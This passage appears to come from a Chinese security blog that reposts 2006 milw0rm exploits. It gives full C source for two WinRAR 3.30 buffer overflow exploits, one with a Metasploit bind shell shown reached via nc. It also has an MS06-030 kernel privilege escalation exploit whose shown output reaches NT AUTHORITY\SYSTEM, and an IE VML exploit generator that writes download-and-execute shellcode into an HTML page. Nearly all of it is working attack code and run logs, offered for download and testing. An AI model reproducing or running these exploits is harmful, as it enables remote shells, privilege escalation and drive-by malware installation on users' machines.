        printf("Don't Forget to Restart the IMAIL SMTP Service to Re-exploit!");
        exit(0);
       }

       /* wait for SMTP service welcome*/
       buf[bytes] = '\0';
       check = strstr(buf, "220");
       if (check == NULL)
       {
          printf("Exploit Successfully Delivered!\n");
        closesocket(sockfd);
        WSACleanup();
        printf("Don't Forget to Restart the IMAIL SMTP Service to Re-exploit!");
        exit(0);
       }

    printf("Exploit Failed: Try A different JMP Method or Payload\n");
    closesocket(sockfd);
      WSACleanup();
      exit (1);
}



分类: 矩阵毒刺 标签:

WinRAR 3.30 Long Filename Buffer Overflow Exploit

2006年9月29日 没有评论 78 views

代码1:

/* WinRAR Buffer Overflow 3.30 Exploit 

* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team 
* Exploit made by: K4P0 
* Contact: <a href="mailto:k4p0k4p0@hotmail.com">k4p0k4p0@hotmail.com</a> 
*/ 

#include <stdio.h> 
#include <windows.h> 

int main(void) 

  char EvilBuff[1024]; 

  // Normal cmd.exe shellcode. 
  char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" 
          "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6" 
        "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" 
              "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; 

  char jmpesp_offset[] = "\x0F\x98\xF8\x77"; 
  char Prog[1024] = "WinRAR "; 

  printf("WinRAR Buffer Overflow 3.30 Exploit\n\n"); 
  printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n"); 
  printf("Exploit made by: K4P0\n"); 
  memset(EvilBuff, 0x00, 1024); 
  memset(EvilBuff, 0x41, 510); 
  strncat(EvilBuff, jmpesp_offset, 1024); 
  strncat(EvilBuff, shellcode, 1024); 
  strncat(Prog, EvilBuff, 1024); 
  printf("\nExploiting...\n"); 
  system(Prog); 
  return 0; 


// milw0rm.com [2006-01-04] 


代码2:

/* 
  IHS public source code 
  WinRAR 3.3.0 and below local BOF exploit 
  author : c0d3r , kaveh razavi <<a href="mailto:c0d3r@ihsteam.com">c0d3r@ihsteam.com</a>> 
  advisory : <a target="_blank" href="http://www.securityfocus.com/archive/1/420679">http://www.securityfocus.com/archive/1/420679</a> 
  tnx to alpha who reported the vulnerability 
  workaround: use the lastest version 
  special tnx to LorD and NT of IHS (my workmates and best friends) 
  <a target="_blank" href="www.ihsteam.com">www.ihsteam.com</a> 
  <a target="_blank" href="www.ihsteam.net">www.ihsteam.net</a> 
  <a target="_blank" href="www.c0d3r.org">www.c0d3r.org</a> 
  showing some of iranian kids what real hacking is . 
  specially those who think changing a name server is hacking =) 
*/ 

#include<stdio.h> 
#include<string.h> 
#include<winsock2.h> 
#pragma comment(lib, "ws2_32.lib") 
#define NOP 0x90 
#define size 930 

char exploit[size]; 
char winxpsp1[]   = "\xCC\x59\xFB\x77"; // jmp esp in ntdll 
char winxpsp2[]   = "\xED\x1E\x94\x7C"; // jmp esp (not tested) 
char win2ksp4[]   = "\xBB\xED\x4F\x7C"; // call esp in kernel32.dll 
char win2k3_sp0[] = "\xAB\x8B\xFB\x77"; // jmp esp in ntdll 
char win2k3_sp1[] = "\x6A\xFA\xE8\x77"; // push esp - ret in kernel32 
char *exec[3]; 
char point_esp[5]; 
unsigned int os; 

// metasploit shellcode LPORT=4444 
unsigned char shellcode[] = 
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" 
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" 
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" 
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" 
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" 
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" 
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" 
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" 
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf" 
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" 
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18" 
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" 
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" 
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" 
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" 
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" 
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" 
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" 
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e" 
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f" 
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" 
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" 
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" 
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; 

usage(){ 

printf("-------- usage : ihs_winrar.exe OS_VER\n"); 
printf("-------- target 1 : windows xp service pack 1       : 0\n"); 
printf("-------- target 2 : windows xp service pack 2       : 1\n"); 
printf("-------- target 3 : windoes 2k advanced server sp 4   : 2\n"); 
printf("-------- target 4 : windoes 2k3 server enterprise sp0 : 3\n"); 
printf("-------- target 5 : windoes 2k3 server enterprise sp1 : 4\n"); 
printf("-------- eg : ihs_winrar.exe 2\n\n");   
exit(-1) ; 

int main(int argc , char **argv){ 

printf("\n-------- WinRAR 330 and below Local BOF exploit by c0d3r\n"); 
if(argc < 2) 
  usage(); 
printf("\n"); 
os = (unsigned short)atoi(argv[1]);   
switch(os) 

  case 0: 
  strcat(point_esp,winxpsp1); 
  printf("[+] target : windows xp service
 pack 1\n"); 
  break; 
  case 1: 
  strcat(point_esp,winxpsp2); 
  printf("[+] target : windows xp service pack 2\n"); 
  break; 
  case 2: 
  strcat(point_esp,win2ksp4); 
  printf("[+] target : windows 2000 advanced server service pack 4\n"); 
  break; 
  case 3: 
  strcat(point_esp,win2k3_sp0); 
  printf("[+] target : windows 2003 server enterprise service pack 0\n"); 
  break; 
  case 4: 
  strcat(point_esp,win2k3_sp1); 
  printf("[+] target : windows 2003 server enterprise service pack 1\n"); 
  break; 
  default: 
  printf("\n[-] this target doesnt exist in the list\n\n"); 
  
  exit(-1); 


printf("[+] exploit string is %d byte\n",size); 
printf("[+] shellcode is %d byte\n", sizeof(shellcode)-1); 
printf("[+] making exploit string :)\n"); 
memset(exploit,NOP,size); 
memcpy(exploit+516,point_esp,sizeof(point_esp)-1); 
memcpy(exploit+530,shellcode,sizeof(shellcode)-1); 
exploit[size]=0x00; 
printf("[+] exploit string ready\n"); 
printf("[+] preparing the executer\n"); 
exec[0]="WinRAR.exe"; 
exec[2]=NULL; 
exec[1]=exploit; 
printf("[+] executer ready\n"); 
printf("[+] exploiting ........\n"); 
execve(exec[0],exec,NULL); 

return 0x0; 

/* 

I:\Program Files\WinRAR>ihs_winrar 2 

-------- WinRAR 330 and below Local BOF exploit by c0d3r 

[+] target : windows 2000 advanced server service pack 4 
[+] exploit string is 930 byte 
[+] shellcode is 399 byte 
[+] making exploit string :) 
[+] exploit string ready 
[+] preparing the executer 
[+] executer ready 
[+] exploiting ........ 

I:\Program Files\WinRAR>nc -vv 127.0.0.1 4444 
iran [127.0.0.1] 4444 (?) open 
Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-2000 Microsoft Corp. 

I:\Program Files\WinRAR> 

*/ 

// milw0rm.com [2006-01-04] 

分类: 矩阵毒刺 标签:

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege

2006年9月25日 没有评论 71 views

/*
MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Windows XP PRO SP2 Chinese
Windows XP PRO SP2 English

Usage:ms06-030.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{"PsLookupProcessByProcessId"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xc4\x00\x00\x00\x5f\x4f\x47\x66\x81\x3f\x90\xcc"
"\x75\xf8\x66\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\xbe\x38\xf0"
"\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7\x95"
"\x8b\xf7\x6a\x02\x59\xe8\x4d\x00\x00\x00\xe2\xf9\x8b\x4e\x0c\xe8"
"\x29\x00\x00\x00\x50\x8b\x4e\x08\xe8\x20\x00\x00\x00\x5a\x8b\x7e"
"\x1c\x8b\x0c\x3a\x89\x0c\x38\x56\x8b\x7e\x14\x8b\x4e\x18\x8b\x76"
"\x10\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3\x83\xec\x04"
"\x8d\x2c\x24\x55\x51\xff\x56\x04\x85\xc0\x0f\x85\x80\x8f\x00\x00"
"\x8b\x45\x00\x83\xc4\x04\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78"
"\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33"
"\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1"
"\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e"
"\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x37\xff\xff"
"\xff\x90\x90\x90"

"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
printf("%s:%d\n", msg, GetLastError());
ExitProcess(0);
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(RVA < pSectionHeader[0].PointerToRawData)
return RVA;

for(i = 0; i < Sections; i++)

if(RVA >= pSectionHeader[i].VirtualAddress &&
RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData) 
return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
}

return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)

ULONG i;

if(Offset < pSectionHeader[0].PointerToRawData)
return Offset;

for(i = 0; i < Sections; i++)
{
if(Offset >= pSectionHeader[i].PointerToRawData &&
Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
}

return 0;
}

void GetFunction()
{
HANDLE hNtdll;

hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");

ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed.\n");

ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed.\n");

FreeLibrary(hNtdll);
}

ULONG ComputeHash(char *ch)
{
ULONG ret = 0;

while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}

return ret;
}

ULONG GetKernelBase()
{
ULONG i, Byte, ModuleCount;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;

ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);

if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed.\n");

if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed\n");

ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
free(pBuffer); 
return (ULONG)pSystemModuleInformation->Base;
}

pSystemModuleInformation++;
}

free(pBuffer);
return 0;
}

int main(int argc, char *argv[])
{
PVOID pDrivers[256];
PULONG pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode;
PUCHAR pRestoreBuffer, pBase;
PCHAR pName;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
PIMAGE_SECTION_HEADER pSectionHeader;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
OSVERSIONINFO ovi;
char DriverName[256];
ULONG Byte, FileSize, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
USHORT index;
HANDLE hDevice, hFile;

printf("\n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t
 create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
return 1;
}

GetFunction();

if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");

KernelBase = GetKernelBase();
if(!KernelBase)
ErrorQuit("Unable to get kernel base address.\n");

printf("Kernel base address: %x\n", KernelBase);

ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if(!GetVersionEx(&ovi))
ErrorQuit("GetVersionEx failed.\n");

if(ovi.dwMajorVersion != 5)
ErrorQuit("Not Windows NT family OS.\n");

printf("Major Version:%d Minor Version:%d\n", ovi.dwMajorVersion, ovi.dwMinorVersion);
switch(ovi.dwMinorVersion)
{
case 0: //Windows2000
SystemId = 8;
TokenOffset = 0x12c;
break;

case 1: //WindowsXP
SystemId = 4;
TokenOffset = 0xc8;
break;

case 2: //Windows2003
SystemId = 4;
TokenOffset = 0xc8;
break;

default:
SystemId = 8;
TokenOffset = 0xc8;
}

pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed.\n");

if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
ErrorQuit("EnumDeviceDrivers failed.\n");

for(i = 0; i < (Byte / sizeof(PVOID)); i++)
{
if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
ErrorQuit("GetDeviceDriverBaseName failed.\n");

if(!strnicmp(DriverName, "mrxsmb.sys", 10))
{
BaseAddress = (ULONG)pDrivers[i];
printf("Mrxsmb.sys Base Address:%x\n", BaseAddress);
break;
}
}

if(!BaseAddress)
ErrorQuit("No address of mrxsmb.sys has been found.\n");

pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed.\n");

printf("Allocated address:%x\n", pStoreBuffer);
// \device\LanmanRedirector
hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");

strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
hFile = createFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
{
hFile = createFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");
}

if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");

printf("File size:%x\n", FileSize);
pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pBase == NULL)
ErrorQuit("VirtualAlloc failed.\n");

if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
ErrorQuit("ReadFile failed.\n");

pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
Sections= pHeader->FileHeader.NumberOfSections;

pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
pSectionHeader,
Sections
));

pNamesArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfNames,
pSectionHeader,
Sections));

pFunctionsArray = (PULONG)(pBase + 
RVA2Offset(pExport->AddressOfFunctions,
pSectionHeader,
Sections));

pOrdinals = (PUSHORT)(pBase + 
RVA2Offset(pExport->AddressOfNameOrdinals,
pSectionHeader,
Sections));

len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
if(!strncmp(pName, "NtVdmControl", len))
break;
}

if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");

index = pOrdinals[i]; 
HookAddress = pFunctionsArray[index] + KernelBase;
printf("%s Address:%x\n", pName, HookAddress);
memcpy(pRestoreBuffer, pBase + pFunctionsArray[index], 0x20);

pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;

for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);

buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = SystemId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress;
buf[j++] = 0x20;
buf[j++] = TokenOffset;

memcpy((char *)(pShellcode + k), (char *)buf, j * 4);

hDevice = createFile("\\\\.\\Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("createFile failed.\n");

Value = (0xe9 << 8) & 0xff00;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xff00) != Value)

memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Need value: %x\n", Value);

while((pStoreBuffer[3] & 0xfff0) != Value)
{
memset(pStoreBuffer, 0, 0x18);

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed.\n");

printf("\rValue:%x", pStoreBuffer[3]);
}

printf("\n");

if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
ErrorQu
it("DeviceIoControl failed.\n");

memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));

CloseHandle(hDevice);
CloseHandle(hFile);

printf("Exploitation finished.\n");
ZwVdmControl(0, NULL);

return 1;
}


Usage:

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\>ms06-030

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exp
loit

create by SoBeIt.

Kernel base address: 804d8000
Major Version:5 Minor Version:1
Mrxsmb.sys Base Address:f596e000
Allocated address:420000
File size:214600
NtVdmControl Address:805bab48
Need value: e900
Value:e900
Need value: 8060
Value:18060
Exploitation finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>

分类: 矩阵毒刺 标签:

IE VML BufferOverflow Download Exec Exploit 修改版

2006年9月22日 没有评论 47 views

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:gyzy


所有代码都修改自NOP的模版,在此表示感谢。方便大家的研究写了个生成器,欢迎大家下载测试。NOP在milw0rm.com上公布的代码里有点小问题。填上了自己的shellcode,将第一个字节改成\xCC后发现shellcode的解码部分连续出现的三个\xFF中的后面两个会被破坏,这和以前的Serv-U溢出一样,所以在头部加入几个修正字节:
__asm{
add [esp+0x2E],0xC0
add [esp+0x2F],0xFF
}
重新测试,成功。测试环境Win2000 Professional SP4 + IE5.0

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "resource.h"

FILE *fp = NULL;
HWND hdlg;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

INT_PTR CALLBACK DialogProc(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
void create(char* url);

/* Search Shellcod
\x80\x44\x24\x1A\xC0
\x80\x44\x24\x1B\xFF
*/

unsigned char sh4llcode[] =
"\x80\x44\x24\x2E\xC0\x80\x44\x24\x2F\xFF\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0"
"\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19"
"\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE"
"\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE"
"\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA"
"\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE"
"\xFC\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB"
"\xE0\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD"
"\xF1\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB"
"\xE0\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE"
"\xF7\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
 int i=0;
 unsigned int ncr = 0;

 for(i=0; i<size; i+=2)
 {
 ncr = (buf[i+1] << 8) + buf[i];

 fprintf(fp, "&#%d;", ncr);
 }
}

void create(char* url)
{
 unsigned char buf[1024] = {0};
 unsigned char burl[255] = {0};
 int sc_len = 0;
 int psize = 0;
 int i = 0;

 unsigned int nop = 0x4141;
 DWORD jmp = 0xeb06eb06;

 fp = fopen("test.html", "w+b");

 if(!fp)
 {
 return;
 }

 // print html header
 fprintf(fp, "%s", header);
 fflush(fp);

 for(i=0; i<NOPSIZE; i++)
 {
 fprintf(fp, "A");
 }

 fflush(fp);

 // print shellcode
 memset(buf, 0x90, sizeof(buf));

 memcpy(buf, &ret, 4);
 psize = 4+8+0x10;

 memcpy(buf+psize, sh4llcode, sizeof(sh4llcode)-1);//memcpy(buf+psize, dc, sizeof(dc)-1);
 psize += sizeof(sh4llcode)-1;

 memcpy(buf+psize, url, strlen(url));//memcpy(buf+psize, dc, sizeof(dc)-1);
 psize += strlen(url);

 BYTE end = 0x80;
 memcpy(buf+psize, &end, 1);
 psize += 1;
 // print NCR
 convert2ncr(buf, psize);

 // print html footer
 fprintf(fp, "%s", footer);
 fflush(fp);

}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)

